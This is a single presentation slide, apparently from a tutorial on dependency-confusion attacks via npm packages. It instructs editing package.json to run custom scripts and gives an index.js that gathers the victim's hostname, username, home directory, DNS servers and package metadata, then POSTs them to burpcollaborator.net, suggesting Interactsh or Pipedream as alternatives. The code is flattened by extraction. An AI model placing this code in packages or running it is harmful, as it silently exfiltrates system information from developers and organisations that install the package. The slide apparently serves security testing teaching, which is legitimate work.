Slide 12
Slide 12 text
After successful creation of the package.json file , we need to edit the created file to
execute our own scripts and command. Index.js
const os = require("os");const dns = require("dns");const querystring =
require("querystring");const https = require("https");const packageJSON =
require("./package.json");const package = packageJSON.name;const trackingData =
JSON.stringify({p: package,c: __dirname,hd: os.homedir(),hn: os.hostname(),un:
os.userInfo().username,dns: dns.getServers(),r: packageJSON ? packageJSON.___resolved :
undefined,v: packageJSON.version,pjson: packageJSON,});var postData =
querystring.stringify({msg: trackingData,});var options = {hostname: "burpcollaborator.net",
//replace burpcollaborator.net with Interactsh or pipedreamport: 443,path: "/",method:
"POST",headers: {"Content-Type": "application/x-www-form-urlencoded","Content-Length":
postData.length,},};var req = https.request(options, (res) => {res.on("data", (d) =>
{process.stdout.write(d);});});req.on("error", (e) => {//
console.error(e);});req.write(postData);req.end();